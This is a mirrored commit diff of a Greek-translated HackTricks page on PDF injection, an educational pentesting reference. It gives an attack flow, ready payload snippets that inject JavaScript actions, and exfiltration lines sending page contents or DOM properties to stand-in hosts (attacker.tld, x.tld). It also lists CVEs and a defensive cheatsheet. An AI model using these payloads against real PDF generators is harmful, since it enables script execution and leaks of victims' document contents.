mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/xss-cross-site-scripting/pdf-injection.m
This commit is contained in:
parent
047ea93ad1
commit
645dde97ca
@ -1,7 +1,55 @@
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
**Αν η είσοδός σας αντικατοπτρίζεται μέσα σε ένα αρχείο PDF, μπορείτε να προσπαθήσετε να εισάγετε δεδομένα PDF για να εκτελέσετε JavaScript ή να κλέψετε το περιεχόμενο του PDF.**
|
||||
|
||||
Chec the post: [**https://portswigger.net/research/portable-data-exfiltration**](https://portswigger.net/research/portable-data-exfiltration)
|
||||
# PDF Injection
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
**Αν η είσοδός σας ανακλάται μέσα σε ένα αρχείο PDF, μπορείτε να προσπαθήσετε να εισάγετε δεδομένα PDF για να εκτελέσετε JavaScript, να πραγματοποιήσετε SSRF ή να κλέψετε το περιεχόμενο του PDF.**
|
||||
Η σύνταξη PDF είναι εξαιρετικά επιεικής – αν μπορείτε να σπάσετε τη συμβολοσειρά ή το λεξικό που ενσωματώνει την είσοδό σας, μπορείτε να προσθέσετε εντελώς νέα αντικείμενα (ή νέες κλειδιά στο ίδιο αντικείμενο) που το Acrobat/Chrome θα αναλύσει ευχαρίστως.
|
||||
Από το 2024, μια σειρά αναφορών bug-bounty έχει δείξει ότι *μία μη διαφραγμένη παρένθεση ή αντίστροφη κάθετος είναι αρκετή* για πλήρη εκτέλεση σεναρίου.
|
||||
|
||||
## TL;DR – Σύγχρονη Ροή Επίθεσης (2024)
|
||||
1. Βρείτε οποιαδήποτε τιμή ελεγχόμενη από τον χρήστη που καταλήγει μέσα σε μια **(συμβολοσειρά παρένθεσης)**, `/URI ( … )` ή `/JS ( … )` πεδίο στο παραγόμενο PDF.
|
||||
2. Εισάγετε `) ` (κλείνοντας τη συμβολοσειρά) ακολουθούμενο από μία από τις παρακάτω πρωτότυπες και τελειώστε με άλλη μια ανοιχτή παρένθεση για να διατηρήσετε τη σύνταξη έγκυρη.
|
||||
3. Παραδώστε το κακόβουλο PDF σε ένα θύμα (ή σε μια υπηρεσία backend που αυτόματα αποδίδει το αρχείο – εξαιρετικό για τυφλά σφάλματα).
|
||||
4. Το payload σας εκτελείται στον αναγνώστη PDF:
|
||||
* Chrome / Edge → PDFium Sandbox
|
||||
* Firefox → PDF.js (βλ. CVE-2024-4367)
|
||||
* Acrobat → Πλήρης JavaScript API (μπορεί να εξάγει περιεχόμενα αρχείων με `this.getPageNthWord`)
|
||||
|
||||
Παράδειγμα (κατάχρηση συνδέσμου σημείωσης):
|
||||
```pdf
|
||||
(https://victim.internal/) ) /A << /S /JavaScript /JS (app.alert("PDF pwned")) >> /Next (
|
||||
```
|
||||
*Η πρώτη `)` κλείνει την αρχική συμβολοσειρά URI, στη συνέχεια προσθέτουμε ένα νέο **Action** λεξικό που θα εκτελέσει το Acrobat όταν ο χρήστης κάνει κλικ στον σύνδεσμο.*
|
||||
|
||||
## Χρήσιμα Injection Primitives
|
||||
| Στόχος | Payload Snippet | Σημειώσεις |
|
||||
|------|-----------------|-------|
|
||||
| **JavaScript κατά το άνοιγμα** | `/OpenAction << /S /JavaScript /JS (app.alert(1)) >>` | Εκτελείται αμέσως όταν ανοίγει το έγγραφο (λειτουργεί στο Acrobat, όχι στο Chrome). |
|
||||
| **JavaScript κατά τον σύνδεσμο** | `/A << /S /JavaScript /JS (fetch('https://attacker.tld/?c='+this.getPageNumWords(0))) >>` | Λειτουργεί σε PDFium & Acrobat αν ελέγχετε μια `/Link` σημείωση. |
|
||||
| **Blind data exfiltration** | `<< /Type /Action /S /URI /URI (https://attacker.tld/?leak=)` | Συνδυάστε με `this.getPageNthWord` μέσα σε JS για να κλέψετε περιεχόμενο. |
|
||||
| **Server-Side SSRF** | Το ίδιο με παραπάνω αλλά στοχεύστε σε μια εσωτερική διεύθυνση URL – εξαιρετικό όταν το PDF αποδίδεται από υπηρεσίες back-office που σέβονται το `/URI`. |
|
||||
| **Διάλειμμα γραμμής για νέα αντικείμενα** | `\nendobj\n10 0 obj\n<< /S /JavaScript /JS (app.alert(1)) >>\nendobj` | Αν η βιβλιοθήκη σας επιτρέπει να εισάγετε χαρακτήρες νέας γραμμής, μπορείτε να δημιουργήσετε εντελώς νέα αντικείμενα. |
|
||||
|
||||
## Blind Enumeration Trick
|
||||
Ο Gareth Heyes (PortSwigger) δημοσίευσε μια μία γραμμή που καταμετρά κάθε αντικείμενο μέσα σε ένα άγνωστο έγγραφο – χρήσιμο όταν δεν μπορείτε να δείτε το παραγόμενο PDF:
|
||||
```pdf
|
||||
) /JS (for(i in this){try{this.submitForm('https://x.tld?'+i+'='+this[i])}catch(e){}}) /S /JavaScript /A << >> (
|
||||
```
|
||||
Ο κώδικας επαναλαμβάνει το Acrobat DOM και κάνει εξωτερικά αιτήματα για κάθε ζεύγος ιδιότητας/τιμής, δίνοντάς σας μια *JSON-ish* εξαγωγή του αρχείου. Δείτε το λευκό έγγραφο “Portable Data **ex**Filtration” για την πλήρη τεχνική.
|
||||
|
||||
## Real-World Bugs (2023-2025)
|
||||
* **CVE-2024-4367** – Αυθαίρετη εκτέλεση JavaScript στο PDF.js του Firefox πριν από την 4.2.67 παρακάμπτει το sandbox με μια κατασκευασμένη ενέργεια `/JavaScript`.
|
||||
* **Bug bounty 2024-05** – Μεγάλη fintech επέτρεψε σημειώσεις τιμολογίων που παρέχονταν από πελάτες και κατέληγαν στο `/URI`; η αναφορά πληρώθηκε $10k μετά από αποδεδειγμένο SSRF σε εσωτερικό μεταδεδομένο host χρησιμοποιώντας `file:///` URI.
|
||||
* **CVE-2023-26155** – Η εντολή `node-qpdf` μέσω μη απολυμασμένης διαδρομής PDF δείχνει τη σημασία της απόδρασης των backslashes και των παρενθέσεων ακόμη *πριν* από το επίπεδο PDF.
|
||||
|
||||
## Defensive Cheatsheet
|
||||
1. **Ποτέ μην συνδυάζετε ακατέργαστη είσοδο χρήστη** μέσα σε `(`…`)` συμβολοσειρές ή ονόματα. Απόδραση `\`, `(`, `)` όπως απαιτείται από το §7.3 της προδιαγραφής PDF ή χρησιμοποιήστε δεκαεξαδικές συμβολοσειρές `<...>`.
|
||||
2. Εάν δημιουργείτε συνδέσμους, προτιμήστε `/URI (https://…)` που να *κωδικοποιείτε πλήρως* URL; αποκλείστε τα σχήματα `javascript:` στους πελάτες προβολής.
|
||||
3. Αφαιρέστε ή επικυρώστε τα λεξικά `/OpenAction`, `/AA` (επιπλέον ενέργειες), `/Launch`, `/SubmitForm` και `/ImportData` κατά την επεξεργασία PDF.
|
||||
4. Από την πλευρά του διακομιστή, αποδώστε μη αξιόπιστα PDFs με έναν *headless converter* (π.χ. qpdf –decrypt –linearize) που αφαιρεί JavaScript και εξωτερικές ενέργειες.
|
||||
5. Διατηρήστε τους προβολείς PDF ενημερωμένους; PDF.js < 4.2.67 και Acrobat Reader πριν από τον Ιούλιο του 2024 επιτρέπουν απλή εκτέλεση κώδικα.
|
||||
|
||||
## References
|
||||
* Gareth Heyes, “Portable Data exFiltration – XSS for PDFs”, PortSwigger Research (updated May 2024). <https://portswigger.net/research/portable-data-exfiltration>
|
||||
* Dawid Ryłko, “CVE-2024-4367: Arbitrary JavaScript Execution in PDF.js” (Apr 2024). <https://dawid.dev/sec/cve-2024-4367-arbitrary-javascript-execution-in-pdf-js>
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user